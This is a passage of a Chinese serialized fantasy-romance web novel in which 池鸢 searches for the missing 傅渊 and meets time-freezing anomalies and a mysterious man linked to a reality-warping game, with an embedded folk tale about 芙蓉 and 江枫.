她的日程表被塞得满满当当,甚至连午休时间都预留着对接项目细节,真正践行着“二十四小时待命”的职业准则。每次公司组织年会彩排,总能看到她提前两小时到场,帮着调试设备、核对流程,与策划团队讨论到喉咙沙哑,还不忘给同事们递上温热的咖啡,这种近乎完美的职业态度。 而池鸢的处境却截然不同。在繁重的工作任务之外,她还要抽出时间寻找傅渊,常常在会议室处理紧急文件的间隙,匆匆给对方发消息;或是在下班后拖着疲惫的身躯,穿梭在城市的大街小巷,只为了能有一点线索。这样的忙碌,导致她频繁缺席年会排练。 主管看着节目单上她空缺的排练记录,眉头越皱越紧,终于在某天午休时,把她叫到办公室:“池鸢,这次年会要做线上直播,不仅是为了维系老客户,更是面向全网招聘的重要窗口,所有环节都不容有失。你最近的状态......得调整一下了。” 主管的话像一块沉重的石头压在池鸢心头。她望着窗外渐暗的天色,想到未完成的工作,想到还没有下落的傅渊,再想到即将到来的年会,只觉得千头万绪交织在一起,几乎要将她淹没。 会议室内投影仪的蓝光在池鸢眼底摇晃,主管还在絮叨年会直播的应急预案,她的指尖却无意识摩挲着手机边缘。 尽管连续缺席三次联排被记了警告,可当傅渊的第七天,那些职场规则早已化作虚浮的蝉蜕——只要能找到人,就算被贴上“不务正业”的标签又何妨? 主管瞥见她游离的目光,喉间滚动的训斥突然卡在半途。 刺耳的手机铃声撕破凝滞的空气,池鸢盯着陌生号码的瞬间,心跳几乎撞碎肋骨。 “抱歉,我必须走一趟。”她抓起外套的动作带翻了桌角的马克杯,褐色水渍在策划案上晕染开,如同未干的泪痕。 主管望着她夺门而出的背影,攥着报表的手青筋暴起,最后只泄出一声沉重的叹息。 写字楼外的夜风裹着细雨,池鸢在霓虹灯影里看见那辆黑色商务车时,指甲深深掐进掌心。 几天前何璃塞给她的名片还带着体温,彼时她本能地抗拒这种近乎魔幻的“私家侦探”桥段,直到对方发来傅渊常去的城郊仓库监控截图——画面里熟悉的黑色大衣衣角,正在雨夜中匆匆掠过。 车窗降下的刹那,潮湿的烟草味扑面而来。 后座男人推来平板电脑,卫星定位的红点在地图上明明灭灭。 第171章 幕 乌云压城的午后,铅灰色云层像被撕碎的棉絮,在天际翻涌成团。 临到私家侦探指定的地界时,暴雨突然倾盆而下,豆大的雨珠砸在车顶噼里啪啦作响,雨刮器疯狂摆动也难以驱散眼前的水帘,能见度不足五米的路况让车速被迫放缓,最终在泥泞的山道边缓缓停下。 副驾驶座上的池鸢望着被雨雾模糊的车窗,雨帘冲刷玻璃的痕迹在视野里交织成网。 引擎熄火后,车内陷入诡异的寂静,唯有雨滴敲打金属车身的节奏越来越急。 她下意识握紧手机,屏幕上闪烁的定位显示距离目标地点不过百米,却仿佛隔着难以逾越的天堑。 “咚——” 突如其来的敲击声惊得她浑身一颤。 转头望去,雨幕中隐约浮现出一道颀长身影,水珠顺着那人黑色冲锋衣的帽檐成串坠落。 陆辰抬手抹去脸上的雨水,指节又在车窗上轻叩两下,冷冽的目光穿透雨雾与池鸢对视。 不等池鸢摇下车窗,陆辰已经拉开后座车门坐了进来,带起一阵裹挟着潮湿泥土气息的风。 他随手摘下兜帽,额前碎发还在往下滴水:“林子里今天反常得很。” 他从背包里掏出红外线望远镜,镜片上的水珠折射出细碎的光,“三点十七分开始,成群的灰喜鹊往城北方向迁徙,猫头鹰和乌鸦也在低空盘旋。” 池鸢正要开口,陆辰忽然抬手示意噤声。 他的指尖还沾着新鲜草屑,腕间的军用手表在昏暗车厢里泛着幽光:“二十分钟前,我在观音庙后墙听到类似金属摩擦的声响。” 他的目光扫过驾驶座上正在偷瞄后视镜的私家侦探,那人立刻心虚地转开视线,“你们要找的人,和庙墙下新翻的泥土有关系?” 池鸢与侦探对视一眼,对方脖颈处的冷汗正顺着衣领往下滑。 不等她开口,侦探已经像竹筒倒豆子般全说了出来:“是、是有人雇我找失踪的住持!三天前他徒弟报案,说师父深夜去后山禅房,再没回来......”话音未落,车身突然剧烈颠簸,惊得三人同时抓住把手。 透过车窗,一道金黄色残影在雨幕中一闪而过。 池鸢的瞳孔骤然收缩——那是一头成年黑豹!流线型的身躯贴着泥泞的地面疾驰,尾尖扫过草丛带起细碎的水珠。 陆辰的望远镜已经对准那道身影,镜片后的眼神愈发凝重:“不对劲。现在野生黑豹的活动范围应该在三百公里外的保护区,更何况......”他放下望远镜,指尖无意识摩挲着镜筒,“它经过时,那些飞鸟连惊都没惊。” 车内空气仿佛凝固了。侦探的喉结上下滚动,结结巴巴道:“您、您不是说现在野兽都化形了吗?会不会......” “化形的精怪会尽量避免在雨天暴露原形。”陆辰的声音冷得像淬了冰,他伸手抹去车窗上的雾气,在玻璃上画出个模糊的人形轮廓,“除非,它故意要让人看见。” 黑豹的残影消失在雨幕中,池鸢揉了揉发胀的太阳穴。 车载电台沙沙作响,天气预报正在播报暴雨橙色预警,她的目光却越过陆辰肩头,凝望着雨帘后若隐若现的寺庙飞檐。 朱漆斑驳的山门、被岁月磨得发亮的青石板台阶,每一处都刻着盛明栩的影子——曾经他们总爱踩着晨钟来庙里吃素斋,他会笑着把她碗里的香菇夹走,说要帮她消灭怪物。 在想什么?陆辰突然开口,望远镜的金属外壳在他指间轻轻叩击,发出清脆声响。 池鸢别过脸,睫毛扫落几滴水珠:没什么,只是有些累。她伸手去够副驾储物格里的薄荷糖,指尖却在触及铁盒时顿住——那是盛明栩最爱吃的口味,最后一颗糖还躺在丝绒衬布里,棱角已经被磨得圆润。 那池小姐我们还去吗?私家侦探透过后视镜偷瞄她,握着方向盘的手沁出薄汗。不等她回答,这人又慌忙补充:您看这天色......老辈人说暴雨天冲撞,是要触怒雨神的。话音未落,远处闷雷滚滚,豆大的雨点砸在车顶愈发急促。 池鸢扯了扯嘴角,后视镜里侦探躲闪的眼神和微微发抖的指尖,让她突然觉得可笑。 掉头吧。她把薄荷糖盒塞回原处,金属棱角硌得掌心生疼,麻烦送我回市区。 车窗外的寺庙在雨雾中渐渐模糊,檐角铜铃在风中摇晃,恍惚间又听见傅渊说等我,可这次,再也不会有人拨开雨幕向她走来了。 第172章 肩 暮色将天边染成橘红色时,陆辰跟着池鸢拐进了一条青石板巷。 潮湿的苔藓在墙根肆意生长,远处传来此起彼伏的吆喝声,却被拐角处飘来的面香勾得变了方向。 破旧的木牌上“老陈面馆”四个字已褪成浅褐色,门前支着的煤炉正噗噗吐着白烟,将玻璃窗熏得雾气朦胧。 “来两碗阳春面。”池鸢把竹编椅拉得嘎吱作响,瞥见邻桌大叔们就着花生喝土烧,突然又加了句,“再来半斤黄酒,配两碟茴香豆。” 木桌上还残留着未擦净的油渍,陆辰用袖口抹了抹,抬头望见二楼挂着褪色的红绸,角落里支着一架老旧的琵琶。 后厨传来碗筷碰撞的脆响,混着此起彼伏的方言谈笑声。穿粗布围裙的老板娘颠着面碗从热气里钻出来,身后跟着个抱着琵琶的年轻女子。 水红袄子洗得发白,鬓边却别着朵新鲜的栀子花,她往八仙桌前一站,指尖拂过琴弦,咿咿呀呀的唱腔顿时漫过整个屋子。 “好!”池鸢率先拍响桌子,黄酒顺着碗沿晃出来,“这吴侬软语,可比城里那些靡靡之音带劲多了!” 陆辰望着女子低垂的眉眼,忽然注意到她腰间系着的银铃铛——每到长音处,就会随着动作轻轻颤动。 酒足饭饱时,天边最后一缕霞光也沉了下去。池鸢起身去后院方便,踩着满地碎瓷片拐过墙角,却猛地顿住脚步。 月光从墙缝漏进来,照见方才唱曲的女子正被男人抵在砖墙上,芙蓉色的袄子滑到肩头,露出半截雪白的脖颈。 “我恨你,这么久才来找我。”女子声音带着哭腔,指尖死死揪住男人的衣襟。 男人低头吻去她眼角的泪,喉结滚动:“这次说什么也不会再让你走。” 池鸢屏住呼吸,看见女子腰间的银铃在月光下晃出细碎的光,突然想起她唱戏时,那铃铛从未发出过如此急促的声响。 “我已经结婚了,孩子都三岁了……”女子的声音被夜风撕成碎片,可男人刚要开口,远处突然传来急促的脚步声。 池鸢慌忙躲进柴垛,看见个满脸通红的汉子举着木棍冲过来,正是方才坐在邻桌喝酒的男人。 “贱人!”木棍重重砸在墙上,惊飞了墙根的野猫。 女子尖叫着往巷口跑,发簪不知何时掉了,披散的长发在月光下宛如幽灵。陆辰听到动静赶来时,正看见汉子揪住女子的手腕,扬起的拳头带着风声。 “住手!”池鸢抄起墙角的扫帚砸过去,陆辰几乎同时冲上前扣住汉子的手腕。 女子瘫坐在地,水红袄子沾满泥污,银铃铛不知何时掉了,在青石板上泛着冷光。远处传来孩子的啼哭,混着梆子声,在夜色里显得格外凄凉。 陆辰钳制住暴怒的汉子时,池鸢已扶起瘫坐在地的芙蓉。女人鬓发散乱,脸上还留着被掌掴的红痕,却死死盯着巷口那抹身影。趁众人注意力都在扭打的两人身上,她突然挣开池鸢的手,赤着一只脚追进了夜色。 三日后,打扮一新的芙蓉。她穿着靛青软缎旗袍,正依偎在男人怀里数着钟楼的钟声。 春日的阳光透过雕花窗棂洒在她脸上,映得眉眼比唱戏时还要明艳三分。这城里的西洋镜可真多。芙蓉转动着新烫的卷发,指着橱窗里的留声机咯咯直笑,全然不见那日狼狈模样。 然而当梧桐叶开始泛黄时,男子去了城南破庙。 但是玩了一个月,新鲜劲就过去,再加上兜里也渐渐空了。 男子也意识到芙蓉满足不了自己,城里新鲜的东西太多,芙蓉虽然美颜,但对自己约束太多,于是打算出去看看。 就在庵里找了份小工,工钱正好可以给芙蓉买点新鲜饭菜吃。 清晨的木鱼声还未歇,男子就挑着两筐青砖叩响庵门。 露水沾湿了他的粗布裤脚,竹扁担压在肩头的吱呀声惊飞檐下白鸽。慧清师太掀开布帘时,正见他就着井边凉水啃冷馒头,蓝布包袱里还露出半本卷边的《金刚经》。 施主既通文墨,可愿帮着抄些经书?师太捻着佛珠打量这个总在工余独坐廊下读书的年轻人。他慌忙起身,沾着泥浆的手在衣襟上蹭了蹭,却把书页翻得哗哗作响:小人识得些字,只是......话音未落,师太已将宣纸砚台推到他面前。 此后的日子,破庙廊下常现奇景:白日里男子挥汗修缮漏雨的屋檐,夕阳西下时便洗净双手,在蒲团上正襟危坐。 狼毫在宣纸上游走,墨香混着新刷的桐油味弥漫开来。慧清师太路过时,总见他对着经文字句反复琢磨,有时竟在烛火下熬到更鼓。 某个飘着细雨的午后,师太端来一盏苦茶,见他正对着诸行无常四字出神。施主执念太重。她望着年轻人骤然绷紧的肩膀,伸手拍了拍他的肩。 第173章 蹈 暮春细雨斜织的午后,青瓦上滴落的水珠在石阶敲出清响。 江枫蜷缩在寺庙西厢房的竹榻上,指尖摩挲着怀里那叠新赚的钞票,听着檐角风铃叮当作响。三日前下山时接的抄写经卷活计,竟意外得了富商厚赏。 灶间蒸腾的热气裹着菜香漫过回廊,江枫将刚出锅的糖醋鲤鱼搁上红漆食盒。 这已是他给芙蓉做饭的第七日,案头摆着精心搭配的菜谱:清晨采来的野蕨拌春笋,山泉煨的雪菜黄鱼汤,再配上现烙的葱油饼。庵里负责洒扫的小尼姑总在路过时偷瞄两眼,馋得直咽口水。 晌午钟声未落,藏经阁后的禅房里已飘出酒香。住持圆寂后,云游归来的慧明暂驻此处,常与江枫对坐饮上几盏。 琥珀色的米酒在粗陶碗里泛起涟漪,慧明夹起一箸红烧茄子,忽然合掌低诵。 话音未落,酒盏已倾斜,酒水在青砖上蜿蜒成河。 暮色里,那袭灰布僧袍裹着嶙峋身影,如铁铸般钉在江边巨岩上。 江枫曾在月夜寻去,见他双目微阖,任凭山风掀动衣角,脚下便是湍急的江水。直到破晓时分,天际泛起鱼肚白,和尚才缓缓起身,岩上竟未留下半分水渍。 暮色像被泼翻的墨汁,渐渐浸透了飞檐翘角。 江枫照旧备了两碟下酒菜,一碟是新晒的笋干炒腊肉,油亮的腊肉片裹着脆嫩的笋干,香气四溢; 另一碟是酸甜开胃的凉拌木耳,黑亮的木耳点缀着鲜红的辣椒丝和翠绿的香菜。他拎着一坛自酿的米酒,来到禅房与慧明和尚对坐。 酒过三巡,月光爬上窗棂,把竹影投在青砖地上,摇晃不定。突然,山脚下传来一阵急促的狗吠,声音凄厉又杂乱,仿佛受到了极大的惊吓,一阵接着一阵,打破了山间的宁静。 慧明和尚醉意朦胧,眼神迷离,嘴里又开始念叨那些晦涩难懂的经文,声音忽高忽低,在寂静的夜里显得格外神秘。 江枫只觉头重脚轻,意识渐渐模糊。恍惚间,眼前的景象变得虚幻起来,四周雾气弥漫,月光也变得朦胧不清。 在这混沌之中,一个身影缓缓浮现,那是一位白发苍苍的老人,身着一袭宽大的灰色长袍,袍角随风飘动,脸上布满了岁月的皱纹,却透着一股难以言说的威严与神秘。 江枫强撑着精神,努力睁开眼睛,声音颤抖地问道:“您……您是谁?” 老人微微抬起头,眼中闪烁着奇异的光芒,缓缓开口,声音低沉而悠远,仿佛从远古传来:“我上通天文,下达地理。”话音刚落,周围的雾气突然翻涌起来,老人的身影也在雾气中若隐若现,变得愈发模糊。 江枫想要追问,却感觉身体像被重物压住,动弹不得,只能眼睁睁看着老人的身影在雾气中消失不见…… 江枫猛地拍向脑门,酒意瞬间消散三分:您是土地公?话音未落,四周白雾骤然翻涌,老人的身影化作点点荧光没入夜色。待他惊出一身冷汗醒来时,窗外已透进熹微晨光,枕边赫然摆着半片沾着露水的枫叶。 早斋时,住持将扫帚塞进他手里。原来不远处的土地庙需人清扫,那座朱漆斑驳的庙宇曾是方圆百里最热闹的祈福地,近年因年久失修才渐渐冷清。 江枫踏着沾满晨露的石阶走去,忽见庙前古槐盘根错节,树冠如伞撑开,竟与昨夜梦里老人身后的景致分毫不差。 修缮后的土地庙重焕生机。香客们捧着贡品络绎不绝,铜炉里青烟袅袅,红绸祈愿牌挂满回廊。江枫擦拭着神像时,总觉得泥胎眼底似藏着笑意,恍若那晚雾中老者的眼神。 正当他以为寻到安身立命之所时,芙蓉却在暮色里收拾包袱,她轻声道:该回去了。 山风掠过窗棂,卷走案头未干的墨迹,那是江枫刚抄完的《金刚经》,最后一行字在暮色中洇成模糊的墨团。 江枫攥着扫帚的手骤然收紧,望着芙蓉单薄的背影消失在山径转角。 暮色将她的影子拉得很长,却似有股无形的力量在扭曲,让他心头泛起莫名的不安。他草草将扫帚丢在廊下,踩着碎石子追了上去。 山间暮色浓重,芙蓉的月白色裙裾在林间时隐时现。江枫刻意放缓脚步,保持着不远不近的距离,可越跟越觉诡异——她的步伐机械而僵硬,像是被线牵着的木偶,连路过常歇脚的青石板都未作停留。 转过三道山弯,江枫躲在松树后屏住呼吸。月光透过枝叶洒下,芙蓉竟在山道中央猛然停住。 她脖颈如生锈的齿轮般缓缓转动,面容隐在阴影里,看不清神色。正当江枫以为她察觉自己跟踪时,忽见她双手撑地,身体如折枝般向后弯去,直到头顶几乎触到脚跟。 她的双手仍保持着优雅的兰花指姿态,仿佛正在跳一支诡异的舞蹈。 第174章 止 暮色浸透窗棂时,江枫跪在寒山寺大雄宝殿前的青石砖上,额头已被磨出细密印痕。 和尚捻着佛珠轻叹:施主执念太深,须知生死有命......话音未落,江枫突然扯下颈间家传玉佩重重叩在蒲团上,玉坠与青砖相撞的脆响惊飞檐下栖鸦:只求大师赐个转机! 第二日,江枫背着竹篓出现在城西乱葬岗。 月光被云层割裂成碎片,洒在东倒西歪的墓碑上。 他攥着老住持写的黄符,在一座无名坟茔前驻足——碑上青苔斑驳。 铁锨铲入泥土的声响惊起夜枭惨啼,江枫却恍若未闻,直到挖到一块沁着暗红印记的陶片,才将其小心裹入素绢。 回到宅中,江枫将陶片埋进新置的紫砂盆,每日用清晨的第一捧露水浇灌。第七日破晓,绛紫色的花苞终于颤巍巍绽开,花瓣边缘泛着金属般的冷光。 当药香弥漫整个房间时,芙蓉滚烫的额头终于有了凉意,她苍白的唇间溢出细碎呓语:好香......像那年梅雨季的味道...... 半月后的清晨,和尚手持铜铃踏入病房。他盯着案头盛放的花朵,浑浊的瞳孔突然剧烈震颤,铜铃在掌心发出刺耳嗡鸣:此花非人间物! 话音未落,花工王三捧着瓷盆跌跌撞撞冲进来:江公子!这花我活了五十年从未见过,不过,它脆弱着呢! 江枫凝视着花瓣上滚动的晨露,那晶莹水珠倒映出芙蓉日渐红润的面庞。 ....... 年会当日,玻璃幕墙折射着午后三点的日光,池鸢攥着签到表。 公司楼下早已排起蜿蜒长队,人群如涨潮的海水漫过斑马线,将三条主干道挤得水泄不通。 保安举着扩音器的喊声被此起彼伏的快门声淹没,戴着应援灯牌的粉丝们踮脚张望,彩色丝带在风中交织成流动的虹。 早知道就该申请交通管制......池鸢喃喃自语,目光扫过导航软件上深红的拥堵路段。 忽然有人轻轻拽了拽她的衣角,实习生小吴举着手机挤过来:池姐,热搜爆了!#神秘明星空降XX年会#已经冲到第三了! 就在这时,人群突然爆发出尖叫。白色保姆车缓缓驶入视线,车窗降下的瞬间,镁光灯如同骤雨倾泻。 池鸢后退半步,后背撞上雕花路灯柱,却在低头时愣住——交错的光影中,两串重叠的影子正亲昵地纠缠在一起。 小心。带着笑意的声音擦过耳畔。市场部新来的男生侧身护住她,黑色皮鞋精准踩住她影子的脚踝,你的影子要逃跑了。 池鸢抬头,正撞见对方温柔的目光,两人的影子在地面上缠绕成温柔的弧线,而不远处,明星的红毯秀刚刚开始。 池鸢觉得市场部的大男孩眼熟,但又认不出。 玻璃旋转门吞吐着炽热的人潮,池鸢的黑色高跟鞋陷进被踩皱的红地毯。 前排粉丝突然爆发出尖叫,推搡的浪潮瞬间将她卷向金属护栏,发丝扫过冰凉的不锈钢杆时,她听见骨节错位般的脆响。 就在这时,地面的影子突然诡异地拉长。原本重叠的灰黑色轮廓先是分裂成三道,又如同被无形利刃切割般,骤然增殖到五道、十道,最后密密麻麻铺满整个广场。 蝉鸣声戛然而止。举着手机的手悬在半空,尚未落下的发丝凝固成冰晶,连空气中悬浮的金粉都停止了坠落。 池鸢惊恐地发现,自己竟能清晰看见前方女孩睫毛上的泪珠,以及保安制服第二颗纽扣上的锈迹——整个世界被按下暂停键,唯有她的意识还在疯狂运转。 更诡异的是,那些影子开始逆向流动,从五道缩回三道,再凝结成最初的模样。当最后一道残影消失时,所有凝滞的画面突然重新播放,尖叫声、推搡声和闪光灯的爆裂声重新将她淹没。 池鸢踉跄着扶住护栏,掌心传来的刺痛提醒她这并非幻觉,而远处舞台上,小明星的歌声刚刚响起第一个音符。 奇怪,一切就这么静止了。 第175章 字 凝滞的空气像被无形胶液包裹,池鸢指尖刚触到化妆台边缘的粉饼盒,冰凉触感突然变得模糊。 镜中倒影里,何璃举着卷发棒定格在半空中,发梢垂落的珍珠发卡悬在离地面三厘米的位置,连更衣室顶灯的光斑都凝固成细碎的琥珀。 她踉跄后退时撞翻的口红滚落在地,艳红膏体以抛物线姿态悬浮。 这种静止持续了多久?池鸢数到第78次心跳时,手机突然在大理石台面震动,微信群跳出鲜红@符号。主管的语音刺破死寂:下一个节目准备! 她望着窗外依旧停摆的落叶,指甲深深掐进掌心——真实的痛感提醒她,这并非梦境。 候场区的暖光灯刺得人睁不开眼,何璃带着其余伴舞匆匆围过来。你今天状态不对? 队长递来的耳返还带着体温,池鸢望着对方睫毛上跃动的金粉,恍惚想起半小时前那些悬浮的珍珠发卡。 音乐前奏响起时,她机械地抬手举过头顶,记忆里反复观看的彩排视频在视网膜自动播放,每个八拍都精准踩在点上。 旋转时余光瞥见台下模糊的人影,池鸢突然意识到,自己竟比任何一次正式彩排都要投入。 当最后一个endingpose定格,全场掌声如潮水漫来时,她盯着手背渗出的汗,突然分不清是现实更虚幻,还是那场静止的时空才是真实。 主管拍着她肩膀的力道传来,她却仍在思索——方才表演时,是不是有那么一瞬,所有观众的鼓掌声也像那些悬浮的口红般,悬停在了半空? 霓虹色签名笔在专辑封面上晕开,池鸢接过小明星递回的礼物时,目光突然被对方额前细碎的银发缠住——那些随着鞠躬动作轻颤的闪粉,像极了方才悬浮在更衣室半空的珍珠发卡。 她机械地道谢,看着少年转身时卫衣下摆带起的气流,竟产生某种诡异的错位感,仿佛对方也是从凝固时空里挣脱出来的残影。 玻璃幕墙外传来此起彼伏的交谈声,财务部的实习生抱着咖啡杯经过,市场部总监的皮鞋跟敲出规律的哒哒声。 池鸢倚着消防栓翻开手机,直播间的弹幕正以每秒数十条的速度滚动,屏幕里舞台上的灯光绚烂如常,根本没人提起时间曾在某个瞬间停滞。她无意识摩挲着被口红划伤的掌心,那些细密的血痕早已干涸,却在记忆里反复流淌。 摄影机架在三脚架上持续运转,红色的录制指示灯明明灭灭。 池鸢突然凑近显示屏,看着镜头里自己正在鼓掌的画面——那个她眼角带笑,动作自然得像是从未经历过时空异变。 冷汗顺着脊椎滑进衣领,她终于确信:方才那场漫长的静止,不过是独属于她的,被世界抹去存在痕迹的,一场静默的疯癫。 防盗门在指腹下发出细微的金属嗡鸣,池鸢盯着猫眼透出的陌生光斑,后颈泛起细密的凉意。 当门扉缓缓开启,穿着藏青色中山装的老者推了推金丝眼镜,镜片后的目光像在显微镜下审视标本:池小姐?徐女士托我照看房子。 夜风卷着梧桐叶掠过街角,池鸢攥着手机站在路灯下,屏幕冷光映出她苍白的脸。 徐丽的语音消息带着海浪声:阿鸢,妈去斐济看珊瑚礁了,老周是我大学老师,房子钥匙在鞋柜第三格......语音戛然而止,背景音里隐约传来香槟杯碰撞的脆响。 街角咖啡厅的空调发出轻微嗡鸣,池鸢蜷缩在皮质沙发里,听着咖啡机蒸汽喷出的嘶鸣,恍惚间又看见更衣室里悬浮的口红。 奶泡在卡布奇诺表面凝成漩涡,她望着倒影里自己眼下的青黑,突然想起徐丽上周深夜的抽泣——那时傅渊的名字很久没出现在她视线。 金融中心的玻璃幕墙在晨光中折射出钻石般的棱角,池鸢站在公寓大堂,感应门自动滑开时带起一阵裹挟着消毒水味的风。 电梯上升时耳膜微微发胀,她望着电子屏跳动的数字,突然意识到这座悬浮在空中的钢铁森林,与那场静止的时空竟有着微妙的相似——都是将人困在透明牢笼里,无声吞噬着所有异常与不安。 第176章 容 电梯金属门轻启的瞬间,刺骨寒意顺着池鸢的脊椎攀援而上,像无数冰针在皮肤下游走。 应急灯在走廊尽头明灭不定,将斑驳墙皮的阴影拉得扭曲变形,宛如某种蛰伏的巨兽利爪。 她的指尖刚触到房卡,卡槽里坚硬的异物便硌得生疼——半截褪色的红绳缠绕着细碎的银色鳞片,鳞片边缘泛着诡异的幽蓝,在昏暗光线下流转着类似深海荧光的冷芒。 叮——电梯门闭合的声响突兀如惊雷,池鸢浑身剧烈震颤,耳后根的汗毛瞬间倒竖。 镜面电梯壁映出令她血液凝固的画面:本该空荡的轿厢内,盛明栩身着藏青西装端立其中,金丝眼镜蒙着层冷冽的白霜,镜片后的目光如同X射线般穿透她的身体。 他嘴角勾起的弧度精准得近乎机械,领带夹上的碎钻在幽暗中折射出蛇信般的冷光。 不知道还以为你跟踪我。池鸢强压下喉间翻涌的惧意,扬起房卡时指尖仍在不受控地轻颤,金属边缘刮擦掌心传来细微刺痛。 我知道。盛明栩的声音像是从冷冻柜里飘出,尾音带着不易察觉的电流杂音。 他抬手推了推眼镜,腕间银表的秒针正逆向旋转,表盘内侧隐约浮现出与红绳鳞片相同的幽蓝纹路,臻御府的安保系统连飞鸟都要扫描虹膜,池小姐觉得我需要跟踪? 池鸢的后背紧紧抵住门板,玄关处的感应灯突然诡异地亮起又熄灭。 门缝间泄出的微光里,她瞥见客厅茶几上不知何时多了个青铜罗盘,指针疯狂旋转着指向自己。 我不习惯和陌生人分享隐私。她的声音在颤抖,余光扫过门框边缘,那里不知何时多了道新鲜的刮痕,形状竟与红绳上的鳞片完全吻合。 盛明栩突然前倾,古龙水混着苦艾草的气息扑面而来。他的瞳孔在阴影中骤然收缩,化作两团跳动的幽蓝火焰:独居的年轻女性,深夜面对陌生男性的拜访......他的目光扫过她颈间未愈合的红绳勒痕,池小姐该庆幸,我不是普通人。 话音未落,整层楼的声控灯突然全部熄灭,应急灯的绿光中,电梯镜面开始泛起水波状的涟漪。 池鸢侧身挡住门缝,指尖在门板上划出细微的声响。身后玄关处,半截红绳突然无风自动,银色鳞片折射出冷冽的光,映得盛明栩镜片后的眼神愈发幽深。 男人推了推金丝眼镜,袖口露出的腕表秒针逆向飞转:“上周我在图书馆查阅的《时空拓扑学》,与你正在研究的课题不谋而合。”他的声音像是裹着冰层,“尤其是关于‘镜面悖论’的章节。” “您究竟想说什么?”她故作镇定地掏出手机,却发现屏幕显示无服务,锁屏壁纸不知何时变成了自己被锁链缠绕的镜面倒影。走廊应急灯突然爆闪,在墙面上投出盛明栩扭曲的影子。 男人突然轻笑出声,“上面记载着某个被抹去的时空坐标,而你的存在,就是打开它的钥匙。” 话音未落,整栋楼突然剧烈震动。池鸢踉跄着扶住墙,惊恐地发现墙壁开始渗出黑色粘液,在空中凝成无数悬浮的镜面。每个镜面里都映出不同时空的自己:有的穿着婚纱被青铜锁链束缚,有的在年会现场被静止的人群吞噬,还有的正被盛明栩用钥匙刺穿心脏。 盛明栩将红绳系在她腕间,金属鳞片刺入皮肤的瞬间,池鸢看到他脖颈后浮现出的星形胎记,“从现在起,你我都是被困在时空循环里的囚徒。” 池鸢听不懂,“盛先生,听说你们公司最近在开发游戏,听你这么说话,我感觉这款游戏概念很有趣,祝你火爆。” 盛明栩唇角勾起一抹意味深长的弧度,镜片后的眸光晦暗不明。他慢条斯理地整了整袖口,腕表逆向飞转的秒针在寂静中发出细微的咔嗒声:“池小姐觉得这是游戏?” 说着,抬手轻轻触碰走廊墙面,原本平整的乳胶漆突然如水面般泛起涟漪,映出无数个扭曲的池鸢在镜中挣扎。 池鸢强作镇定地后退半步,后背抵上冰凉的门板:“不然呢?总不会是什么时空穿越的奇幻剧本吧?”她掏出手机假意查看消息,余光却死死盯着盛明栩的一举一动,却发现手机相册里不知何时多出一张照片——画面中,她躺在别墅书房的暗格里,周身缠绕着发光的红绳,而盛明栩正站在阴影里,手中握着那枚青铜钥匙。 “看来池小姐需要些更直观的体验。”盛明栩突然欺身上前,池鸢本能地抬手阻挡,却发现自己的手掌径直穿过了对方的身体。男人的身影如全息投影般消散又重组,空气中残留着若有若无的苦艾草气息。 与此同时,整层楼的灯光骤然熄灭,应急灯投射出诡谲的幽绿光芒。 池鸢脚下的地板开始浮现古老的符文,红绳在腕间发烫,将她拖向记忆深处——她看见傅渊失踪前夜,同样的符文在书房地面亮起,男人捧着《时空拓扑学》,对着虚空喃喃自语:“这次,我一定要救她……” “看到了吗?”盛明栩的声音从四面八方传来,“你以为的巧合,都是精心设计的必然。”黑暗中,青铜钥匙的冷光在镜面上跳跃,每道反光里都映出不同时间线的池鸢,有的成为了维系时空的祭品,有的则化身成操控裂隙的主宰。 池鸢攥紧拳头,指甲深深掐进掌心:“就算这一切都是真的,我也不会任人摆布。”她猛地扯断腕间红绳,竟让地面泛起剧烈震颤。 盛明栩的身影在震荡中变得模糊,却依然保持着那副优雅的笑容。 第177章 廓 池鸢进入手机游戏《时空拓扑学》,页面设计得很诡谲。 登录界面浮着半透明的星图,每个闪烁的光点都在渗出墨色纹路,像是某种活物的血管。 她指尖刚触到「开始游戏」的选项,冰凉的蓝光突然包裹住手指,整个手机屏幕化作镜面,倒映出无数个自己——那些倒影穿着不同时代的服饰,脖颈处却都缠绕着同一条荆棘状的银链。 当系统提示音响起时,池鸢才发现登录界面的星图正在坍缩,最终凝成一枚悬浮的青铜罗盘。 指针疯狂转动间,她的视野突然扭曲,现实中的卧室墙壁开始剥落,取而代之的是由齿轮与藤蔓交织而成的迷宫。 罗盘坠落在地,裂开的缝隙里伸出带着青苔的手臂,将她拽入了幽绿的漩涡。 池鸢转身,就看到同样出现在游戏的盛明栩。 男子西服领口歪斜,额角还沾着游戏舱的金属压痕,此刻正警惕地摩挲着腰间凭空出现的短刃——那是他们半小时前在论坛上讨论过的隐藏武器。 阳光穿透悬浮在半空的游戏菜单,在他侧脸投下诡异的蓝紫色光斑,与现实中教室窗外的梧桐叶影重叠,竟分不清此刻究竟身处何处。 这比VR真实十倍。盛明栩的声音带着电流杂音,指尖划过空气时带起一串粒子特效。 他们脚下的地板突然裂开蛛网状纹路,现实里的瓷砖与游戏数据层叠交错,能同时看到课桌的木纹与虚拟地砖的魔法符文。 远处传来玻璃碎裂的声响,穿着中世纪铠甲的NPC从走廊尽头浮现,手中长剑折射出的寒光,竟与讲台上投影仪的光束完美重合。 池鸢还没来得及回应,盛明栩突然拽着她侧身翻滚。 一支淬毒箭矢擦着她耳畔飞过,钉入身后的黑板,现实中的粉笔灰与游戏里迸发的紫色毒雾同时炸开。 抬头望去,本该空荡的教室后排,不知何时坐满了头戴斗笠的神秘玩家,他们斗篷上的暗纹与登录界面的星图如出一辙。 小心!这些NPC的攻击模式在实时学习!盛明栩挥出短刃,金属碰撞声中竟夹杂着键盘敲击的脆响。 池鸢这才发现,当他们格挡时,课桌表面会浮现出虚拟操作面板,而攻击特效的轨迹与窗外飘落的梧桐叶轨迹完全同步。更诡异的是,她瞥见自己校服袖口渗出数据流,如同被撕裂的像素块。 突然,整间教室开始旋转,现实中的白炽灯与游戏里的魔法灯笼重叠成扭曲的光晕。盛明栩的瞳孔骤缩:游戏在吞噬现实!看那些裂缝—— 顺着他的目光,池鸢看见墙壁上裂开的纹路里,隐约透出其他玩家的身影,有人被困在古罗马斗兽场,有人悬浮在赛博朋克的霓虹深渊,而他们挣扎的姿态,正与教室内的桌椅排列形成某种神秘的拓扑映射。 防盗门打开的瞬间,盛明栩手中的游戏手柄啪嗒掉在地上。池鸢举着手机的手还在发抖,屏幕上残留的登录界面正渗出暗紫色的液体,在玄关地板上晕染出诡异的星图。少年注意到她脖颈处不知何时出现了荆棘状红痕,和游戏里那些倒影的银链位置完全重合。 